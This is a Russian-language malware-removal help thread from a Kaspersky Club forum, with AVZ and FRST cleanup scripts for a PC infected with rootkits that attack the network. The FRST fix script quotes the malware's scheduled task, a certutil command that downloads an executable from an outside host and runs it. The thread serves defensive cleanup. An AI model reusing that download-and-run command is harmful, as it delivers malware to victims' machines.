Перейти к содержанию
Правила раздела
Объявляем набор участников в программу «Развитие сообществ клуба в мессенджерах»
Конкурс по разработке Telegram-бота Kaspersky Club

Помогите победить Trojan.Spybot.795 Trojan.Rootkit.22042 и 22044 и ещё

PAshaSTav

Автор PAshaSTav
в Помощь в удалении вирусов

 Поделиться

Рекомендуемые сообщения

PAshaSTav Новичок

PAshaSTav

Опубликовано
Опубликовано

Добрый день.

Каким то образом подхватил вирусы. KVRT и CureIt! определяю, но не лечат. Помогите с удалением.
CureIt! Определил:

Trojan.Spybot.795

Trojan.Rootkit.22042

Trojan.Rootkit.22044

После устранения нет эффекта. Всё по прежнему и появился запрос "требуется драйвер с цифровой подписью" для Winmon.sys и WinmonProcessMonitor.sys 

Так же с этой машины идёт большое количество пакетов по портам ssh и winbox. Соседние ПК определяют сетевую атаку от него.

 

P.S. У меня 3 ПК с похожей проблемой, но чуть с разным набором определившихся угроз. Рекомендации будут для всех одинаковые или мне создать отдельно 3 темы? Как мне правильно поступить?

CollectionLog-2020.12.24-18.01.zip

Ссылка на комментарий
Поделиться на другие сайты
thyrex Мудрец

thyrex

Опубликовано
Опубликовано

Выполните скрипт в AVZ из папки Autologger

begin
ShowMessage('Внимание! Перед выполнением скрипта AVZ автоматически закроет все сетевые подключения.' + #13#10 + 'После перезагрузки компьютера подключения к сети будут восстановлены в автоматическом режиме.');
ExecuteFile('net.exe', 'stop tcpip /y', 0, 15000, true);
if not IsWOW64
 then
  begin
   SearchRootkit(true, true);
   SetAVZGuardStatus(True);
  end;
QuarantineFile('C:\Users\User\appdata\local\temp\csrss\wup\xarch\wup.exe','');
 SetServiceStart('WinDefender', 4);
 DeleteService('WinDefender');
 QuarantineFile('C:\Windows\System32\drivers\WinmonFS.sys','');
 QuarantineFile('C:\Windows\System32\drivers\Winmon.sys','');
 QuarantineFile('C:\Windows\system32\ntkrnlmp.exe','');
 TerminateProcessByName('c:\users\user\appdata\local\temp\csrss\ww30.exe');
 QuarantineFile('c:\users\user\appdata\local\temp\csrss\ww30.exe','');
 TerminateProcessByName('c:\windows\windefender.exe');
 QuarantineFile('c:\windows\windefender.exe','');
 TerminateProcessByName('c:\users\user\appdata\local\temp\csrss\ml20201210.exe');
 QuarantineFile('c:\users\user\appdata\local\temp\csrss\ml20201210.exe','');
 TerminateProcessByName('c:\windows\rss\csrss.exe');
 QuarantineFile('c:\windows\rss\csrss.exe','');
 DeleteFile('c:\windows\rss\csrss.exe','32');
 DeleteFile('c:\users\user\appdata\local\temp\csrss\ml20201210.exe','32');
 DeleteFile('c:\windows\windefender.exe','32');
 DeleteFile('c:\users\user\appdata\local\temp\csrss\ww30.exe','32');
 DeleteFile('C:\Windows\System32\drivers\Winmon.sys','64');
 DeleteFile('C:\Windows\System32\drivers\WinmonFS.sys','64');
 BC_DeleteSvc('46e6f793093b15f1');
 BC_DeleteSvc('46e735542a5b1871');
 BC_DeleteSvc('46e7ac2f0a137d71');
 BC_DeleteSvc('4f94e31891fea971');
 BC_DeleteSvc('4F9603BA1B65E111');
 BC_DeleteSvc('4F964565E818A211');
 BC_DeleteSvc('4F967679104699F1');
 BC_DeleteSvc('4F967DC873248411');
 BC_DeleteSvc('4F96C7CAA19CD471');
 BC_DeleteSvc('4F96E45043ACF711');
 BC_DeleteSvc('4F96F3068A029BF1');
 BC_DeleteSvc('4F9765A189735411');
 BC_DeleteSvc('4F9765A2CA613091');
 BC_DeleteSvc('4F9765A387DE9171');
 BC_DeleteSvc('4F97D9A576B40E91');
 BC_DeleteSvc('4F97E861DCD2AA91');
 DeleteFile('C:\Windows\TEMP\310CB04.sys','64');
 DeleteFile('C:\Windows\TEMP\2C74D8C.sys','64');
 DeleteFile('C:\Windows\TEMP\2D8EDCF.sys','64');
 DeleteFile('C:\Windows\TEMP\2BAFC20.sys','64');
 DeleteFile('C:\Windows\TEMP\2B73C81.sys','64');
 DeleteFile('C:\Windows\TEMP\2FB7163.sys','64');
 DeleteFile('C:\Windows\TEMP\2E94F2E.sys','64');
 DeleteFile('C:\Windows\TEMP\332EBA9.sys','64');
 DeleteFile('C:\Windows\TEMP\2CD993E.sys','64');
 DeleteFile('C:\Windows\TEMP\2EFF93C.sys','64');
 DeleteFile('C:\Windows\TEMP\2D5D7F4.sys','64');
 DeleteFile('C:\Windows\TEMP\2C7F202.sys','64');
 DeleteFile('C:\Windows\TEMP\2b41d92.sys','64');
 DeleteFile('C:\Windows\TEMP\2a8ebbc.sys','64');
 DeleteFile('C:\Windows\TEMP\2fe5dc4.sys','64');
 DeleteFile('C:\Windows\TEMP\2d1dccd.sys','64');
 DeleteSchedulerTask('csrss');
 DeleteFile('C:\Users\User\appdata\local\temp\csrss\wup\xarch\wup.exe','32');
BC_ImportAll;
ExecuteSysClean;
BC_Activate;
RebootWindows(false);
end.

  • Обратите внимание: будет выполнена перезагрузка компьютера.

Выполните скрипт в AVZ

begin
CreateQurantineArchive('c:\quarantine.zip');
end.

c:\quarantine.zip загрузите по ссылке https://virusinfo.info/upload_virus.php?tid=37678


Полученный после загрузки ответ сообщите здесь.

 

Пожалуйста, ЕЩЕ РАЗ запустите Autologger; прикрепите к следующему сообщению НОВЫЕ логи.
 

Ссылка на комментарий
Поделиться на другие сайты
PAshaSTav Новичок

PAshaSTav

Опубликовано
  • Автор
Опубликовано

Сделал.

Результат загрузки
Файл сохранён как    201224_153339_quarantine_5fe4b4d36c7ed.zip
Размер файла    21457329
MD5    38f8a33cfdb97bfb21e8819c0408ac0f

CollectionLog-2020.12.24-18.41.zip

Ссылка на комментарий
Поделиться на другие сайты
thyrex Мудрец

thyrex

Опубликовано
Опубликовано

Скачайте Farbar Recovery Scan Tool NAAC5Ba.png и сохраните на Рабочем столе.

  • Примечание: необходимо выбрать версию, совместимую с Вашей операционной системой. Если Вы не уверены, какая версия подойдет для Вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на Вашей системе.


1. Запустите программу двойным щелчком. Когда программа запустится, нажмите Yes для соглашения с предупреждением.
2. Убедитесь, что в окне Optional Scan отмечены List BCD и 90 Days Files.
3munStB.png
3. Нажмите кнопку Scan.
4. После окончания сканирования будет создан отчет (FRST.txt) в той же папке, откуда была запущена программа.
5. Если программа была запущена в первый раз, также будет создан отчет (Addition.txt).
6. Файлы FRST.txt и Addition.txt заархивируйте (в один общий архив) и прикрепите к сообщению.
 

Ссылка на комментарий
Поделиться на другие сайты
PAshaSTav Новичок

PAshaSTav

Опубликовано
  • Автор
Опубликовано (изменено)

Обнаружил 2 объекта. Применить действия затем выслать сохранённый лог?

Изменено пользователем PAshaSTav
Ссылка на комментарий
Поделиться на другие сайты
thyrex Мудрец

thyrex

Опубликовано
Опубликовано

1. Выделите следующий код: 

Start::
CreateRestorePoint:
HKU\S-1-5-21-4225086931-2585650374-257642021-1000\...\Run: [LingeringShape] => C:\Windows\rss\csrss.exe [4506624 2020-12-24] () [File not signed] <==== ATTENTION
HKU\S-1-5-21-4225086931-2585650374-257642021-1000\...\MountPoints2: E - E:\HiSuiteDownLoader.exe
HKU\S-1-5-21-4225086931-2585650374-257642021-1000\...\MountPoints2: {53d8f38a-c3da-11e9-a76f-74d435eb3279} - E:\HiSuiteDownLoader.exe
HKU\S-1-5-21-4225086931-2585650374-257642021-1000\...\MountPoints2: {bfbf4df6-9611-11e8-a025-74d435eb3279} - E:\HiSuiteDownLoader.exe
Task: {26EF2CF0-9953-4085-A73F-9AADC1B3EAD5} - System32\Tasks\ScheduledUpdate => cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\User\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\User\AppData\Local\Temp\csrss\scheduled.exe /31340 -> /C certutil.exe -urlcache -split -f hxxps://fotamene.com/app/app.exe C:\Users\User\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\User\AppData\Local\Temp\csrss\scheduled.exe /31340 <==== ATTENTION
Task: {778B4481-E14A-4BF2-8B1E-10792EECDCF3} - \Microsoft\Windows\DiskDiagnostic\Microsoft content -> No File <==== ATTENTION
Task: {A4688BD0-A25A-4FC1-813B-4C9D5200A8DD} - System32\Tasks\csrss => C:\Windows\rss\csrss.exe [4506624 2020-12-24] () [File not signed] <==== ATTENTION
Task: {B9379380-9DEA-40DF-AA15-24E0D014AEFF} - \Microsoft\Windows\DiskDiagnostic\System Report -> No File <==== ATTENTION
"8BA309C" => service could not be unlocked. <==== ATTENTION
HKLM\SYSTEM\ControlSet001\Services\8BA309C => C:\Windows\System32\drivers\8BA309C.sys [138256 2020-12-24] (Access Denied)  [File not signed] <==== ATTENTION 
R2 WinDefender; C:\Windows\windefender.exe [0 0000-00-00] () <==== ATTENTION (zero byte File/Folder)
C:\Windows\windefender.exe
S3 46e0afc66ee7af71; \??\C:\Windows\TEMP\2d7e3e0.sys [X]
S3 46e29070b77a19f1; \??\C:\Windows\TEMP\2726818.sys [X]
S3 46e66f306418c991; \??\C:\Windows\TEMP\2cfef1e.sys [X]
S3 46e66f31c8c69571; \??\C:\Windows\TEMP\28fed65.sys [X]
S3 46e66f33fb2115f1; \??\C:\Windows\TEMP\28e0676.sys [X]
S3 46e66fc97f6ba411; \??\C:\Windows\TEMP\2a52453.sys [X]
S3 46e6f79308e15971; \??\C:\Windows\TEMP\28fe188.sys [X]
S3 46e73554922f6791; \??\C:\Windows\TEMP\4449383.sys [X]
S3 46e7ac2f10eb3291; \??\C:\Windows\TEMP\2d1675b.sys [X]
S3 4f94e318a4357e91; \??\C:\Windows\TEMP\2faa260.sys [X]
S3 4F954383A0BBDE91; \??\C:\Windows\TEMP\2A49989.sys [X]
S3 4F955019A5912011; \??\C:\Windows\TEMP\270B06B.sys [X]
S3 4F9570AF4F6B7DF1; \??\C:\Windows\TEMP\2CD71E8.sys [X]
S3 4F957188CFE36CF1; \??\C:\Windows\TEMP\2950F87.sys [X]
S3 4F9619E9C91196F1; \??\C:\Windows\TEMP\2F8F4F5.sys [X]
S3 4F962F68CFB766F1; \??\C:\Windows\TEMP\2F33FA3.sys [X]
S3 4F9663BCC2F56E91; \??\C:\Windows\TEMP\2CA5630.sys [X]
S3 4F96FBC5512FDD71; \??\C:\Windows\TEMP\2F7D8F4.sys [X]
S3 4F9728B1F08583F1; \??\C:\Windows\TEMP\2E5BC2A.sys [X]
S3 4F9765A1CE0F2071; \??\C:\Windows\TEMP\2ABBCC8.sys [X]
S3 4F9765A252352971; \??\C:\Windows\TEMP\2D78EE0.sys [X]
S3 4F9765A2EA1FD771; \??\C:\Windows\TEMP\2CFD0BB.sys [X]
S3 4F9765A3A31A5B71; \??\C:\Windows\TEMP\2B27216.sys [X]
S3 4F9765A4ABAD7DF1; \??\C:\Windows\TEMP\2B8719C.sys [X]
S3 4F9770359BB20D71; \??\C:\Windows\TEMP\2B226E8.sys [X]
S3 4F97A24752E3F791; \??\C:\Windows\TEMP\2D45E4C.sys [X]
S3 4F97A247BC404891; \??\C:\Windows\TEMP\2DDE55A.sys [X]
S3 4F97C4260375DD11; \??\C:\Windows\TEMP\2F10E03.sys [X]
U5 8BA309C;  <==== ATTENTION: Locked Service
R3 Winmon; C:\Windows\System32\drivers\Winmon.sys <==== ATTENTION (Access Denied)
R3 WinmonFS; C:\Windows\System32\drivers\WinmonFS.sys <==== ATTENTION (Access Denied)
R1 WinmonProcessMonitor; C:\Windows\System32\drivers\WinmonProcessMonitor.sys <==== ATTENTION (Access Denied) <==== ATTENTION
2020-12-24 18:51 - 2020-12-24 20:51 - 000003482 _____ C:\Windows\system32\Tasks\ScheduledUpdate
2020-12-24 18:51 - 2020-12-24 20:51 - 000003170 _____ C:\Windows\system32\Tasks\csrss
C:\Windows\rss\csrss.exe
C:\Windows\System32\drivers\Winmon.sys
C:\Windows\System32\drivers\WinmonProcessMonitor.sys
C:\Users\User\AppData\Local\Temp\csrss
FirewallRules: [{5F7AFEA1-2D04-4331-9C88-19C673AFDAA9}] => (Allow) C:\Windows\rss\csrss.exe () [File not signed]
FirewallRules: [{ECB91E92-3510-4761-937F-82AC95507409}] => (Allow) C:\Windows\rss\csrss.exe () [File not signed]
FirewallRules: [{7BC96BFA-193C-47EB-A5CD-971C93D4C311}] => (Allow) C:\Windows\rss\csrss.exe () [File not signed]
FirewallRules: [{5C25918D-2C95-4A0C-A5D4-C1F490485B87}] => (Allow) C:\Windows\rss\csrss.exe () [File not signed]
FirewallRules: [{6FD69086-F954-4DE2-BE06-10D6623A12BA}] => (Allow) C:\Program Files (x86)\TeamViewer\Version9\TeamViewer.exe => No File
FirewallRules: [{8B7BF8A3-2C28-429E-952D-70B66108392A}] => (Allow) C:\Program Files (x86)\TeamViewer\Version9\TeamViewer.exe => No File
FirewallRules: [{56DEFBB9-9F5F-4500-8B72-AD0F558151DC}] => (Allow) C:\Program Files (x86)\TeamViewer\Version9\TeamViewer_Service.exe => No File
FirewallRules: [{58D6FB82-A149-4E95-9DBA-6DADCFB3A043}] => (Allow) C:\Program Files (x86)\TeamViewer\Version9\TeamViewer_Service.exe => No File
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\01519181.sys => ""="Driver"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\08948663.sys => ""="Driver"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\21095673.sys => ""="Driver"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\68412705.sys => ""="Driver"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\75638802.sys => ""="Driver"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\92825815.sys => ""="Driver"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\98447630.sys => ""="Driver"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\01519181.sys => ""="Driver"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\08948663.sys => ""="Driver"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\21095673.sys => ""="Driver"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\68412705.sys => ""="Driver"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\75638802.sys => ""="Driver"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\92825815.sys => ""="Driver"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\98447630.sys => ""="Driver"
Reboot:
End::


2. Скопируйте выделенный текст (правая кнопка мыши – Копировать).
3. Запустите Farbar Recovery Scan Tool.
4. Нажмите один раз на кнопку Fix и подождите. Программа создаст лог-файл (Fixlog.txt). Пожалуйста, прикрепите его в следующем сообщении.

Ссылка на комментарий
Поделиться на другие сайты
PAshaSTav Новичок

PAshaSTav

Опубликовано
  • Автор
Опубликовано (изменено)

Запросы в сеть, с него, продолжают идти по портам 22, 8728 и 8291 (несколько conhost.exe в процессах, видимо они).

И с её ip продолжаются атаки по сети.

После перезагрузки:

Например: TDSSkiller находит 3 угрозы среди них всё так же csrss.exe и windefender.exe.

 

И драйвера опять запрашивало.

 

Я бы сказал, что особо ни чего не изменилось.

 

Изменено пользователем PAshaSTav
Ссылка на комментарий
Поделиться на другие сайты

Пожалуйста, войдите, чтобы комментировать

Вы сможете оставить комментарий после входа в



Войти
 Поделиться
Перейти к списку тем

  • Похожий контент

    • darksimpson
      Помогите пожалуйста с шифровальщиком
      Автор darksimpson
      Добрый день.

      Помогите пожалуйста с определением зловреда и, возможно, с расшифровкой.

      Прикрепляю архив с логами FRST, двумя зашифрованными файлами и запиской.

      Спасибо!
      p4.zip
    • Namido
      Помогите избавиться от майнера
      Автор Namido
      Уже два года как меня терроризирует непонятный майнер, никакие средства очистки не находят абсолютно ничего. Признаки: периодически как будто бы удаленный доступ к ноуту, открываются вкладки, курсор живет своей жизнью, нагружается процессор, иногда при заходе на любой сайт вылезает окно всплывающее "пароль" и "логин" с сылкой на сайт с казино(zagent?что-то такое). Сегодня совершенно случайно чистила ноут и увидела в логе строку"проверка пользователя John", загуглила, увидела, что проблема не новая.

      CollectionLog-2025.04.20-20.12.zip
    • Vednari
      Схватил какую то фигню, которая ещё и откатывает все действия при перезапуске пк
      Автор Vednari
      поймал это без понятия как, просто в один момент вылетел синий экран смерти, и понеслось...
      с того момента, при выключении пк ВСЕ действия начали откатываться сразу после того, как я включил пк после 1 экрана смерти.
       
      решил попробовать Dr Web Cureit - он проработал час-полтора, находил 2 угрозы, и по середине работы выкидывало экран смерти и снова откатывало всё назад (пробовал эту авантюру с Cureit 2 раза, всегда итог один и тот жн).
       
      при попытке воспользоваться KVRT, тоже ошибка (скрин её приложу)
      логи собрать тоже не вышло, по этому их тоже нет (скрин ошибке также приложен)
      также пытался использовать CouitaTools как раз для установки KVRT, но это ни к чему не привело
      ещё изначально у меня не работал chrome (а я только им и пользовался, хоть яндекс тоже был установлен), но сейчас каким то образом хром снова заработал.


    • qqjwjjj
      Помогите удалить вирусы
      Автор qqjwjjj
      Когда я сегодня проснулся я увидел что у иконок на рабочем столе нет названий и через какое-то время они появились потом я увидел что с права снизу у меня нет времени и ещё когда я зашёл в проводник там всё было без названий и ещё у меня не работает кнопка пуск и поисковая строка и когда я пытался скачать dr web у меня выходила ошибка у меня сейчас 360 security я им сканировал на вирусы несколько раз и не чего не помогало перезагружал компьютер и не чего переустановить виндоус не могу флешки нету
    • KNS
      Помогите с шифровальщиком
      Автор KNS
      Добрый день. Поймал шифровальщика, система и 99% данных восстановлены из бэкапа.
      Не хватает нескольких файлов.

      Помогите с расшифровкой.

      Прикрепляю пример зашифрованного файла и записку о выкупе.

      Заранее благодарю!
      123.zip
×
×
  • Создать...